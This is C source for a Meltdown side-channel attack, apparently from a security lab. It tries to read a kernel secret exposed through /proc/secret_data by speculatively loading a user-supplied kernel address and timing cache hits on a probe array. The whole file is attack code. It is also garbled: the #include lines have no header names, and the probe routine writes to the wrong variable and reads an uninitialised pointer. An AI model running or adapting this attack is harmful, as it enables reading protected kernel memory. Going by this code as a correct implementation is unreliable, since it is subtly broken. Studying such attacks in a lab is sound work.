#include #include #include #include #include #include #include #include #include #include #define CACHE_HIT_THRESHOLD (100) uint8_t* addr; uint8_t A[256*4096]; int scores[256]; int fd; int trial = 0; void flush_side_channel() { for (int i = 0; i < 256; i++) A[i*4096] = 1; for (int i = 0; i < 256; i++) _mm_clflush(&A[i*4096]); } void meltdown() { // Chunk 1 asm(".rept 400"); asm("add $0x432, %rax"); asm(".endr"); // Chunk 2: it will cause SIGSEGV uint8_t kernel_data = *addr; A[kernel_data * 4096] += 1; } void try() { trial++; flush_side_channel(); int ret = pread(fd, NULL, 0, 0); if (ret < 0) { perror("pread"); exit(0); } meltdown(); } void probe_and_update() { uint8_t* p; register uint64_t time1, time2; uint32_t junk; for (int i = 0; i < 256; i++) { addr = &A[i * 4096]; time1 = __rdtscp(&junk); junk = *p; time2 = __rdtscp(&junk) - time1; // if cache hit, add 1 for this value if (time2 <= CACHE_HIT_THRESHOLD) scores[i]++; } } void tally_statistics() { int max = 0; for (int i = 0; i < 256; i++) { if (scores[max] < scores[i]) max = i; } printf("secret: %d %c (score=%d)\n", max, max, scores[max]); exit(0); } static void catch_segv(int signum) { trial++; if( trial <= 1000 ) { probe_and_update(); try(); } tally_statistics(); } int main() { fd = open("/proc/secret_data", O_RDONLY); if (fd < 0) { perror("open"); return -1; } printf("address: "); scanf("%p", &addr); struct sigaction action; action.sa_flags = SA_NODEFER; action.sa_handler = catch_segv; sigaction(SIGSEGV, &action, NULL); try(); return 0; }